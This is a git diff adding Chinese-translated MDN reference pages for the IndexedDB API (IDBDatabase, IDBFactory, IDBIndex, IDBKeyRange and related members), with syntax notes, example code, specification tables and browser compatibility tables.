{{SpecName('IndexedDB', '#widl-IDBDatabase-createObjectStore-IDBObjectStore-DOMString-name-IDBObjectStoreParameters-optionalParameters', 'createObjectStore()')}}{{Spec2('IndexedDB')}}
{{SpecName("IndexedDB 2", "#dom-idbdatabase-createobjectstore", "createObjectStore()")}}{{Spec2("IndexedDB 2")}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IDBDatabase.createObjectStore")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/idbdatabase/deleteobjectstore/index.html b/files/zh-cn/web/api/idbdatabase/deleteobjectstore/index.html new file mode 100644 index 0000000000..67e4d08b30 --- /dev/null +++ b/files/zh-cn/web/api/idbdatabase/deleteobjectstore/index.html @@ -0,0 +1,114 @@ +--- +title: IDBDatabase.deleteObjectStore() +slug: Web/API/IDBDatabase/deleteObjectStore +translation_of: Web/API/IDBDatabase/deleteObjectStore +--- +

{{ APIRef("IndexedDB") }}

+ +
+

 deleteObjectStore() 方法从 {{domxref("IDBDatabase")}} 中销毁指定名称的对象存储,及这个对象存储所包含的任何索引。

+
+ +

与 {{ domxref("IDBDatabase.createObjectStore") }} 一样,此方法只能versionchange事务中调用

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
dbInstance.deleteObjectStore(name);
+ +

参数

+ +
+
name
+
将要删除的对象存储的名字
+
+ +

异常

+ +

此方法可能会引发下列 {{domxref("DOMException")}}  异常:

+ + + + + + + + + + + + + + + + + + + + + + +
ExceptionDescription
InvalidStateErrorOccurs if the method was not called from a versionchange transaction callback. For older WebKit browsers, you must call {{ APIRef("IDBVersionChangeRequest.setVersion")}} first.
TransactionInactiveErrorOccurs if a request is made on a source database that doesn't exist (e.g. has been deleted or removed.) In Firefox previous to version 41, an InvalidStateError was raised in this case as well, which was misleading; this has now been fixed (see {{Bug("1176165")}}.)
NotFoundErrorYou are trying to delete an object store that does not exist. Names are case sensitive.
+ +

示例

+ +
var dbName = "sampleDB";
+var dbVersion = 2;
+var request = indexedDB.open(dbName, dbVersion);
+
+request.onupgradeneeded = function(e) {
+  var db = request.result;
+  if (e.oldVersion < 1) {
+    db.createObjectStore("store1");
+  }
+
+  if (e.oldVersion < 2) {
+    db.deleteObjectStore("store1");
+    db.createObjectStore("store2");
+  }
+
+  // etc. for version < 3, 4...
+};
+ +

Specification

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#widl-IDBDatabase-deleteObjectStore-void-DOMString-name', 'deleteObjectStore()')}}{{Spec2('IndexedDB')}}
{{SpecName("IndexedDB 2", "#dom-idbdatabase-deleteobjectstore", "deleteObjectStore()")}}{{Spec2("IndexedDB 2")}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IDBDatabase.deleteObjectStore")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/idbdatabase/index.html b/files/zh-cn/web/api/idbdatabase/index.html new file mode 100644 index 0000000000..1bf1663f7b --- /dev/null +++ b/files/zh-cn/web/api/idbdatabase/index.html @@ -0,0 +1,225 @@ +--- +title: IDBDatabase +slug: Web/API/IDBDatabase +tags: + - IDBDatabase +translation_of: Web/API/IDBDatabase +--- +

{{APIRef("IndexedDB")}}

+ +
+

IndexedDB 中的 IDBDatabase 接口提供一个到 数据库的连接; 你可以使用 IDBDatabase 对象在数据库中打开一个transaction , 然后进行操作或者删除数据库中的对象。这是唯一一个能够访问和管理数据库版本的接口。 

+ + + +

{{AvailableInWorkers}}

+
+ +
+

注意:在IndexedDB中所做的所有事情总是发生在事务的上下文中,表示与数据库中的数据的交互。IndexedDB中的所有对象——包括对象存储、索引和游标——都与特定事务绑定。因此,在事务之外您不能执行命令、访问数据或打开任何东西。

+
+ +
+

注意:请注意,从Firefox 40开始,IndexedDB事务具有宽松的持久性保证以提高性能(请参阅bug 1112702)以前在readwrite事务中IDBTransaction.oncomplete被触发只有当所有数据都保证已刷新到磁盘时。在Firefox 40+中,complete事件在操作系统被告知写入数据之后被触发,但可能在该数据实际上被刷新到磁盘之前。该complete因此,事件可以比以前更快地传递,但是,如果操作系统崩溃或者在将数据刷新到磁盘之前系统电源丢失,则整个事务将丢失的可能性很小。由于这种灾难性事件很少见,大多数消费者不应该进一步关注自己。如果由于某种原因必须确保持久性(例如,您要存储以后无法重新计算的关键数据),则可以complete通过使用实验(非标准)readwriteflush模式创建事务来强制事务在传递事件之前刷新到磁盘(请参阅IDBDatabase.transaction)。

+
+ +

方法

+ +

继承自: EventTarget

+ +
+
{{domxref("IDBDatabase.close()")}}
+
在一个单独的线程中关闭数据库连接并立即返回。
+
{{domxref("IDBDatabase.createObjectStore()")}}
+
创建并返回一个新的 object store 或者 index。
+
{{domxref("IDBDatabase.deleteObjectStore()")}}
+
根据给定的名字,删除在当前连接的数据库中的 object store 和 相关的索引。 
+
{{domxref("IDBDatabase.transaction()")}}
+
立即返回一个包含{{domxref("IDBTransaction.objectStore")}} 方法的 transaction 对象。你可以用这个对象来操作object store。这个操作是在一个单独的线程中执行的。
+
+ +

属性

+ +
+
{{domxref("IDBDatabase.name")}} {{readonlyInline}}
+
{{ domxref("DOMString") }}类型,当前连接数据库名  。
+
{{domxref("IDBDatabase.version")}} {{readonlyInline}}
+
64-bit 整型数,当前连接数据库的版本 。当数据第一次被创建时,这个属性是一个空的字符串。 
+
{{domxref("IDBDatabase.objectStoreNames")}} {{readonlyInline}}
+
{{ domxref("DOMStringList") }}类型,当前连接连接数据库中所有的object store 名字列表。
+
+ +

Event handlers

+ +
+
{{domxref("IDBDatabase.onabort")}}
+
在中断数据库访问时触发。
+
{{domxref("IDBDatabase.onerror")}}
+
当访问数据库失败时触发。
+
{{domxref("IDBDatabase.onversionchange")}}
+
+

当数据库结构发生更改时触发

+ +

({{domxref("IDBOpenDBRequest.onupgradeneeded")}}事件或在其他地方请求 {{domxref("IDBFactory.deleteDatabase")}} 时(最可能在同一台计算机上的另一个窗口/选项卡中这与版本更改事务(请参阅参考资料{{domxref("IDBVersionChangeEvent")}})不同,但它是相关的。

+
+
+ +

示例

+ +

在下面的代码中, 异步打开了一个数据库连接 ({{domxref("IDBFactory")}}), 并处理成功或者异常事件, 如果触发了upgrade事件就需要创建一个新的object store  ({{ domxref("IDBdatabase") }})。如果想看完整的例子, 可以使用 To-do Notifications 应用(view example live.)

+ +

+// 我们先打开一个数据库
+  var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+  // 当数据库打开出错/成功时,以下两个事件处理程序将分别对IDBDatabase对象进行下一步操作
+  DBOpenRequest.onerror = function(event) {
+    note.innerHTML += '<li>Error loading database.</li>';
+  };
+
+  DBOpenRequest.onsuccess = function(event) {
+    note.innerHTML += '<li>Database initialised.</li>';
+
+    // 将打开数据库的结果存储在db变量中,该变量将在后面的代码中被频繁使用
+    db = DBOpenRequest.result;
+
+    // 运行displayData()方法,用IDB中已经存在的所有待办事项列表数据填充到任务列表中
+    displayData();
+  };
+
+  // 当试图打开一个尚未被创建的数据库,或者试图连接一个数据库还没被创立的版本时,onupgradeneeded事件会被触发
+
+  DBOpenRequest.onupgradeneeded = function(event) {
+    var db = event.target.result;
+
+    db.onerror = function(event) {
+      note.innerHTML += '<li>Error loading database.</li>';
+    };
+
+    // 使用IDBDatabase.createObjectStore方法,可创建一个对象存储区
+
+    var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+    // 定义objectStore将包含哪些数据项
+
+    objectStore.createIndex("hours", "hours", { unique: false });
+    objectStore.createIndex("minutes", "minutes", { unique: false });
+    objectStore.createIndex("day", "day", { unique: false });
+    objectStore.createIndex("month", "month", { unique: false });
+    objectStore.createIndex("year", "year", { unique: false });
+
+    objectStore.createIndex("notified", "notified", { unique: false });
+
+    note.innerHTML += '<li>Object store created.</li>';
+  };
+ +

下一行打开数据库上的事务,然后打开一个对象存储,然后我们可以在其中操作数据。

+ +

+    var objectStore = db.transaction('toDoList').objectStore('toDoList'); 
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#idl-def-IDBDatabase', 'IDBDatabase')}}{{Spec2('IndexedDB')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{property_prefix("webkit")}}
+ 24
10 {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}}
10, partial157.1
Available in workers{{CompatVersionUnknown}}{{CompatGeckoMobile("37.0")}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support4.4{{CompatGeckoMobile("22.0")}}1.0.110228
Available in workers{{CompatVersionUnknown}}{{CompatGeckoMobile("37.0")}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+

Be careful in Chrome as it still implements the old specification along with the new one. Similarly it still has the prefixed webkitIndexedDB property even if the unprefixed indexedDB is present.

+
+ +

See also

+ + + +

 

diff --git a/files/zh-cn/web/api/idbdatabase/onversionchange/index.html b/files/zh-cn/web/api/idbdatabase/onversionchange/index.html new file mode 100644 index 0000000000..97227eacac --- /dev/null +++ b/files/zh-cn/web/api/idbdatabase/onversionchange/index.html @@ -0,0 +1,99 @@ +--- +title: IDBDatabase.onversionchange +slug: Web/API/IDBDatabase/onversionchange +translation_of: Web/API/IDBDatabase/onversionchange +--- +

{{ APIRef("IndexedDB") }}

+ +

 {{domxref("IDBDatabase")}} 中的 onversionchange 事件处理器能处理版本更新事件,此事件能在任意地方 (很可能在同一台计算机上的另一个窗口/选项卡中)导致数据库结构更改({{ domxref("IDBOpenDBRequest.onupgradeneeded")}} 事件 或 {{ domxref("IDBFactory.deleteDatabase")}} 事件)的时候被触发 。

+ +
+

onversionchange 与 versionchange 是不相同的事件(但两者是有关联的)。

+ +

{{AvailableInWorkers}}

+
+ +

语法

+ +
IDBDatabase.onversionchange = function(event) { ... }
+ +

举例

+ +

本例展示了一个创建新对象仓库的 {{domxref("IDBOpenDBRequest.onupgradeneeded")}} 代码块;代码中包含用于处理失败操作的 onerror 和 onabort 函数,以及一个 onversionchange 函数用以在数据库结构被改变时通知用户。

+ +
request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  db.onerror = function(event) {
+    note.innerHTML += '<li>Error opening database.</li>';
+  };
+
+  db.onabort = function(event) {
+    note.innerHTML += '<li>Database opening aborted!</li>';
+  };
+
+  // 给这个数据库创建对象仓库
+
+  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+  // 定义对象仓库中包含的数据项
+
+  objectStore.createIndex("hours", "hours", { unique: false });
+  objectStore.createIndex("minutes", "minutes", { unique: false });
+  objectStore.createIndex("day", "day", { unique: false });
+  objectStore.createIndex("month", "month", { unique: false });
+  objectStore.createIndex("year", "year", { unique: false });
+
+  objectStore.createIndex("notified", "notified", { unique: false });
+
+  note.innerHTML += '<li>Object store created.</li>';
+
+  db.onversionchange = function(event) {
+    note.innerHTML += '<li>a database change has occurred; you should refresh this
+                       browser window, or close it down and use the other open version of
+                       this application, wherever it exists.</li>';
+  };
+};
+ +

格式

+ + + + + + + + + + + + + + + + + + + +
格式状态注释
{{SpecName('IndexedDB', '#widl-IDBDatabase-onversionchange', 'onversionchange')}}{{Spec2('IndexedDB')}} 
{{SpecName("IndexedDB 2", "#dom-idbdatabase-onversionchange", "onversionchange")}}{{Spec2("IndexedDB 2")}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.IDBDatabase.onversionchange")}}

+
+ +

更多参考

+ + diff --git a/files/zh-cn/web/api/idbenvironment/index.html b/files/zh-cn/web/api/idbenvironment/index.html new file mode 100644 index 0000000000..6eff07e146 --- /dev/null +++ b/files/zh-cn/web/api/idbenvironment/index.html @@ -0,0 +1,71 @@ +--- +title: IDBEnvironment +slug: Web/API/IDBEnvironment +translation_of: Web/API/IDBEnvironment +--- +

{{APIRef()}}

+ +
+

注意! : 对于 Firefox 52, the property defined in this mixin has been moved to the {{domxref("WindowOrWorkerGlobalScope")}} mixin, and other browsers will follow suit. Look to that page for up-to-date details.  IndexedDB API

+
+ +

 IndexedDB API提供的帮助类IDBEnvironment包含了一个indexedDB 属性, 这个属性可以比较方便的操作IndexedDB. 它是由{{domxref("window")}} 和{{domxref("Worker")}} 实现的最顶级 IndexedDB接口.

+ +

{{AvailableInWorkers}}

+ +

属性

+ +
+
{{domxref("IDBEnvironment.indexedDB")}} {{readonlyInline}}
+
该属性为应用程序提供了异步访问索引数据库(IndexedDB)的构件. 它包含一个 {{domxref("IDBFactory")}} 对象
+
+ +

示例

+ +

下述代码演示了如何创建一个异步打开数据库的请求, 当该请求的onsuccess 回调被执行时, 该数据库被打开.

+ +
var db;
+function openDB() {
+ var DBOpenRequest = window.indexedDB.open("toDoList");
+ DBOpenRequest.onsuccess = function(e) {
+   db = DBOpenRequest.result;
+ };
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('IndexedDB', '#idl-def-IDBEnvironment', 'IDBEnvironment')}}{{Spec2('IndexedDB')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.IDBEnvironment")}}

+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/idbfactory/index.html b/files/zh-cn/web/api/idbfactory/index.html new file mode 100644 index 0000000000..d17304647b --- /dev/null +++ b/files/zh-cn/web/api/idbfactory/index.html @@ -0,0 +1,143 @@ +--- +title: IDBFactory +slug: Web/API/IDBFactory +translation_of: Web/API/IDBFactory +--- +

{{APIRef("IndexedDB")}}

+ +
+

IndexedDB API 的IDBFactory 接口让程序可以异步存取 indexed databases。window.indexedDB 对象实现了这个接口。你可以通过这个对象而不是直接使用IDBFactory接口打开—— 创建或者连接 —— 和删除一个数据库。

+
+ +

Methods

+ +
+
{{domxref("IDBFactory.open")}}
+
请求打开一个数据库的连接(connection to a database)。
+
{{domxref("IDBFactory.deleteDatabase")}}
+
请求删除数据库。
+
{{domxref("IDBFactory.cmp")}}
+
比较两个键的方法并返回一个结果,表明哪个值更大。
+
+

过时的Methods

+
+
IDBFactory.open, the original version {{ obsolete_inline }}
+
一个被废弃的方法请求打开一个数据库的连接,仍然在一些浏览器中被实施(connection to a database).
+
+ +

Example

+ +

In the following code snippet, we make a request to open a database, and include handlers for the success and error cases. For a full working example, see our To-do Notifications app (view example live.)

+ +
var note = document.querySelector("ul");
+
+// In the following line, you should include the prefixes of implementations you want to test.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// DON'T use "var indexedDB = ..." if you're not in a function.
+// Moreover, you may need references to some window.IDB* objects:
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;
+// (Mozilla has never prefixed these objects, so we don't need window.mozIDB*)
+
+// Let us open version 4 of our database
+var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+// these two event handlers act on the database being opened successfully, or not
+DBOpenRequest.onerror = function(event) {
+  note.innerHTML += '<li>Error loading database.</li>';
+};
+
+DBOpenRequest.onsuccess = function(event) {
+  note.innerHTML += '<li>Database initialised.</li>';
+
+  // store the result of opening the database in the db variable. This is used a lot later on, for opening transactions and suchlike.
+  db = request.result;
+};
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#idl-def-IDBFactory', 'IDBFactory')}}{{Spec2('IndexedDB')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support23{{property_prefix("webkit")}}
+ 24
10 {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}}
10, partial157.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support4.4{{CompatGeckoMobile("22.0")}}1.0.11022{{CompatNo}}
+
+ +
+

Be careful in Chrome as it still implements the old specification along with the new one. Similarly it still has the prefixed webkitIndexedDB property even if the unprefixed indexedDB is present.

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/idbfactory/open/index.html b/files/zh-cn/web/api/idbfactory/open/index.html new file mode 100644 index 0000000000..832a4ee7b2 --- /dev/null +++ b/files/zh-cn/web/api/idbfactory/open/index.html @@ -0,0 +1,79 @@ +--- +title: IDBFactory.open +slug: Web/API/IDBFactory/open +translation_of: Web/API/IDBFactory/open +--- +

{{APIRef("IDBFactory")}}

+
+

IDBFactory.open 方法用于打开一个数据库连接。本方法立即返回一个 {{domxref("IDBOpenDBRequest")}} 对象,但打开数据库的操作是异步执行的。

+
+

连接数据库在一个单独的线程中进行,包括以下几个步骤:

+
    +
  1. 指定数据库已经存在时: +
      +
    • 等待 {{domxref("versionchange")}} 操作完成。
    • +
    • 如果数据库已计划删除,那等着删除完成。
    • +
    +
  2. +
  3. 如果已有数据库版本高于给定的 version,中止操作并返回类型为 VersionError 的 DOMError 。
  4. +
  5. 如果已有数据库版本低于给定的 version,触发一个 versionchange 操作。
  6. +
  7. 如果数据库不存在,创建指定名称的数据库,将版本号设置为给定版本,如果给定版本号,则设置为1,and no object stores.
  8. +
  9. 创建数据库连接。
  10. +
+

如果操作成功执行,将触发 success 事件 on the request object that is returned from this method, with its result attribute set to the new {{domxref("IDBDatabase")}} object for the connection.

+

If an error occurs while the database connection is being opened, then an error event is fired on the request object returned from this method.

+

Syntax

+

For the current standard:

+
 IDBOpenDBRequest open (DOMString name, [EnforceRange] optional unsigned long long version);
+

For the experimental version with options (see below):

+
IDBOpenDBRequest open (DOMString name, optional IDBOpenDBOptions options);
+

示例

+

For the current standard:

+
var request = window.indexedDB.open("toDoList", 4);
+

For the experimental version with options (see below):

+
var request = window.indexedDB.open("toDoList", {version: 4, storage: "temporary"});
+

参数

+
+
+ name
+
+ 数据库名称
+
+ version
+
+ 指定数据库版本,当你想要更改数据库格式(比如增加对象存储,非增加记录),必须指定更高版本,通过 versionchange 来更改
+
+ options (version and storage) {{ NonStandardBadge() }}
+
+ In Gecko, since version 26, you can include an options object as a parameter of {{ domxref("IDBFactory.open") }} that contains the version number of the database, plus a storage value that specifies whether you want to use permanent (the default value) storage for the IndexedDB, or temporary storage (aka shared pool.) See {{ bug("785884") }} for more details. This is a non-standard feature that we are looking to standardise sometime in the future.
+
+
+

Note: Data in temporary storage persists until the global limit for the pool is reached. The global limit calculation is relatively complex, but we are considering changing it (see  {{ Bug("968272") }}). When the global limit is reached, then data for the least recently used origin is deleted. There's also a group limit (eTLD+1 group/domain) which is currently 20% of the global limit. All requets that would exceed the group limit are just rejected.

+
+

返回

+
+
+ {{domxref("IDBOpenDBRequest")}}
+
+ The request object on which subsequent events related to this request are fired.
+
+

Exceptions

+

This method may raise a {{domxref("DOMException")}} with a DOMError of the following types:

+ + + + + + + + + + + + + +
Exception描述
TypeErrorThe value of version is zero or a negative number or not a number.
+

Specifications

+

{{page("/en-US/docs/Web/API/IDBFactory","Specifications")}}

+

浏览器兼容性

+

{{page("/en-US/docs/Web/API/IDBFactory","Browser_compatibility")}}

diff --git a/files/zh-cn/web/api/idbindex/index.html b/files/zh-cn/web/api/idbindex/index.html new file mode 100644 index 0000000000..cb32afc0c0 --- /dev/null +++ b/files/zh-cn/web/api/idbindex/index.html @@ -0,0 +1,214 @@ +--- +title: IDBIndex +slug: Web/API/IDBIndex +translation_of: Web/API/IDBIndex +--- +

{{APIRef()}}

+ +
+

IndexedDB API 中的IDBIndex接口提供了异步获取数据库中一个index的功能。index是一种用于在另一个object store中查找记录的object store,其被称为被引用的object store。你可以通过使用该接口来取回数据。

+
+ +

你可以通过记录的键或使用一个index取回一个object store中的这些记录 (cursors 提供了第三种方式:请见 {{ domxref("IDBCursor") }})。一个index可以让你在object store的records中,通过使用records的properties(属性)来寻找records。

+ +

index是一个持久的键-值存储,其中其记录的值部分是被引用object store中的record的关键部分。在object store中新增、更新或是删除records时,索引中的records将自动填充。索引中的每条记录只能指向其引用的object  store中的唯一一条记录,但是多个索引可以引用同一个object store。当object store变更时,所有引用object store的索引都会自动更新。

+ +

索引中的records总是按照records的key进行排序。然而,不像object stores,一个给定的index可以包含具有相同key的多条记录。这些records将根据被引用object store中的主键进一步排序。

+ +

你可以设置在一个范围内的key,点击这里查看更多: {{domxref("IDBKeyRange")}}.

+ +

Methods

+ +

Inherits from: EventTarget

+ +
+
{{domxref("IDBIndex.count")}}
+
Returns an {{domxref("IDBRequest")}} object, and in a separate thread, returns the number of records within a key range.
+
{{domxref("IDBIndex.get")}}
+
Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the value in the referenced object store that corresponds to the given key or the first corresponding value, if key is a key range.
+
{{domxref("IDBIndex.getAll")}} {{ Non-Standard_inline() }}
+
Instantly retrieves all objects inside an {{domxref("IDBObjectStore")}}, setting them as the result of the request object.
+
{{domxref("IDBIndex.getKey")}}
+
Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the given key or the primary key, if key is a key range.
+
{{domxref("IDBIndex.getAllKeys")}} {{ Non-Standard_inline() }}
+
Instantly retrieves the keys of all objects inside an {{domxref("IDBObjectStore")}}, setting them as the result of the request object.
+
{{domxref("IDBIndex.openCursor")}}
+
Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a cursor over the specified key range.
+
{{domxref("IDBIndex.openKeyCursor")}} {{ Non-Standard_inline() }}
+
Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a cursor over the specified key range, as arranged by this index.
+
+ +

Properties

+ +
+
{{domxref("IDBIndex.name")}} {{readonlyInline}}
+
index的名称。
+
{{domxref("IDBIndex.objectStore")}} {{readonlyInline}}
+
index所指向的object store的名称。
+
{{domxref("IDBIndex.keyPath")}} {{readonlyInline}}
+
此index的关键路径。它如果为null,则index不是自动填充的。
+
{{domxref("IDBIndex.multiEntry")}} {{readonlyInline}}
+
影响index的key路径的计算结果生成数组时索引的行为方式。如果为true,那么对于key数组中的每一项,索引中都有一条记录。如果为false,那么对于数组中的每个key都有一条记录。
+
{{domxref("IDBIndex.unique")}} {{readonlyInline}}
+
如果为true,这个index不会允许key有重复值。 
+
+ +

Examples

+ +

Opening a transaction then using get() to retrieve an object of known key:

+ +
// Let us open our database
+var request = window.indexedDB.open("toDoList", 4);
+
+// these two event handlers act on the database being opened successfully, or not
+request.onerror = function(event) {
+  note.innerHTML += '<li>Error loading database.</li>';
+};
+
+request.onsuccess = function(event) {
+note.innerHTML += '<li>Database initialised.</li>';
+
+// store the result of opening the database in the db variable.
+db = request.result;
+
+// Open a transaction on the current database and get a reference to the object store
+//that we want to pull information out of
+var transaction = db.transaction(["toDoList"]);
+var objectStore = transaction.objectStore("toDoList");
+
+// Use get() to get a specific object from the object store, the key of which is "Walk dog"
+var request = objectStore.get("Walk dog");
+request.onerror = function(event) {
+  console.log("There is no record stored for " + request.result.taskTitle);
+};
+request.onsuccess = function(event) {
+  // Do something with the request.result!
+  console.log("The deadline time for " + request.result.taskTitle + " is " +
+              request.result.hours + ":" + request.result.minutes + ".";
+};
+ +
+

Note: need to work out a way to retrieve a series/range of objects using an index, or just all of them. Is this possible with get, or is this a job for cursor?

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#idl-def-IDBIndex', 'IDBIndex')}}{{Spec2('IndexedDB')}}
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support12{{ property_prefix("-webkit") }}
+ 23
{{ CompatGeckoDesktop("2.0") }}1017{{ CompatNo() }}
count()23{{ CompatGeckoDesktop("10.0") }}1017{{ CompatNo() }}
getAll() and getAllKeys(){{ CompatNo() }}{{ CompatGeckoDesktop("24.0") }}
+ behind dom.indexedDB.experimental  pref
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support4.4{{ CompatGeckoMobile("2.0") }}1.0.11017{{ CompatNo() }}
count()4.4{{ CompatGeckoMobile("10.0") }}1.0.11017{{ CompatNo() }}
getAll() and getAllKeys(){{ CompatNo() }}{{ CompatGeckoDesktop("24.0") }}
+ behind dom.indexedDB.experimental  pref
1.1 behind
+ dom.indexedDB.experimental  pref
{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+

Be careful in Chrome as it still implements the old specification along the new one. Similarly it still has the prefixed webkitIndexedDB property even if the unprefixed indexedDB is present.

+
+ +

See also

+ +

To learn more about various topics, see the following

+ + diff --git a/files/zh-cn/web/api/idbkeyrange/index.html b/files/zh-cn/web/api/idbkeyrange/index.html new file mode 100644 index 0000000000..32481c3a02 --- /dev/null +++ b/files/zh-cn/web/api/idbkeyrange/index.html @@ -0,0 +1,193 @@ +--- +title: IDBKeyRange +slug: Web/API/IDBKeyRange +tags: + - API + - Database + - IDBKeyRange + - IndexedDB + - Interface + - NeedsTranslation + - Reference + - Storage + - TopicStub +translation_of: Web/API/IDBKeyRange +--- +

{{APIRef("IndexedDB")}}

+ +
+

The IDBKeyRange interface of the IndexedDB API represents a continuous interval over some data type that is used for keys. Records can be retrieved from {{domxref("IDBObjectStore")}} and {{domxref("IDBIndex")}} objects using keys or a range of keys. You can limit the range using lower and upper bounds. For example, you can iterate over all values of a key in the value range A–Z.

+
+ +

A key range can be a single value or a range with upper and lower bounds or endpoints. If the key range has both upper and lower bounds, then it is bounded; if it has no bounds, it is unbounded. A bounded key range can either be open (the endpoints are excluded) or closed (the endpoints are included). To retrieve all keys within a certain range, you can use the following code constructs:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RangeCode
All keys ≤ x{{domxref("IDBKeyRange.upperBound")}}(x)
All keys < x{{domxref("IDBKeyRange.upperBound")}}(x, true)
All keys ≥ y{{domxref("IDBKeyRange.lowerBound")}}(y)
All keys > y{{domxref("IDBKeyRange.lowerBound")}}(y, true)
All keys ≥ x && ≤ y{{domxref("IDBKeyRange.bound")}}(x, y)
All keys > x &&< y{{domxref("IDBKeyRange.bound")}}(x, y, true, true)
All keys > x && ≤ y{{domxref("IDBKeyRange.bound")}}(x, y, true, false)
All keys ≥ x &&< y{{domxref("IDBKeyRange.bound")}}(x, y, false, true)
The key = z{{domxref("IDBKeyRange.only")}}(z)
+ +

A key is in a key range if the following conditions are true:

+ + + +

{{AvailableInWorkers}}

+ +

Properties

+ +
+
{{domxref("IDBKeyRange.lower")}} {{readonlyInline}}
+
Lower bound of the key range.
+
{{domxref("IDBKeyRange.upper")}} {{readonlyInline}}
+
Upper bound of the key range.
+
{{domxref("IDBKeyRange.lowerOpen")}} {{readonlyInline}}
+
Returns false if the lower-bound value is included in the key range.
+
{{domxref("IDBKeyRange.upperOpen")}} {{readonlyInline}}
+
Returns false if the upper-bound value is included in the key range.
+
+ +

Methods

+ +

Static methods

+ +
+
{{domxref("IDBKeyRange.bound()")}}
+
Creates a new key range with upper and lower bounds.
+
{{domxref("IDBKeyRange.only()")}}
+
Creates a new key range containing a single value.
+
{{domxref("IDBKeyRange.lowerBound()")}}
+
Creates a new key range with only a lower bound.
+
{{domxref("IDBKeyRange.upperBound()")}}
+
Creates a new upper-bound key range.
+
+ +

Instance methods

+ +
+
{{domxref("IDBKeyRange.includes()")}}
+
Returns a boolean indicating whether a specified key is inside the key range.
+
+ +

Examples

+ +

The following example illustrates how you'd use a key range. Here we declare a keyRangeValue as a range between values of "A" and "F". We open a transaction (using {{domxref("IDBTransaction")}}) and an object store, and open a Cursor with {{domxref("IDBObjectStore.openCursor")}}, declaring keyRangeValue as its optional key range value. This means that the cursor will only retrieve records with keys inside that range. This range includes the values "A" and "F", as we haven't declared that they should be open  bounds. If we used IDBKeyRange.bound("A", "F", true, true);, then the range would not include "A" and "F", only the values between them.

+ +
+

Note: For a more complete example allowing you to experiment with key range, have a look at our IDBKeyRange-example repo (view the example live too.)

+
+ +
function displayData() {
+  var keyRangeValue = IDBKeyRange.bound("A", "F");
+
+  var transaction = db.transaction(['fThings'], 'readonly');
+  var objectStore = transaction.objectStore('fThings');
+
+  objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
+    var cursor = event.target.result;
+    if(cursor) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '<strong>' + cursor.value.fThing + '</strong>, ' + cursor.value.fRating;
+      list.appendChild(listItem);
+
+      cursor.continue();
+    } else {
+      console.log('Entries all displayed.');
+    }
+  };
+}
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('IndexedDB', '#idl-def-IDBKeyRange', 'IDBKeyRange')}}{{Spec2('IndexedDB')}}Initial definition.
{{SpecName('IndexedDB 2', '#keyrange', 'IDBKeyRange')}}{{Spec2('IndexedDB 2')}}Adds includes().
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.IDBKeyRange")}}

+
+ +

See also

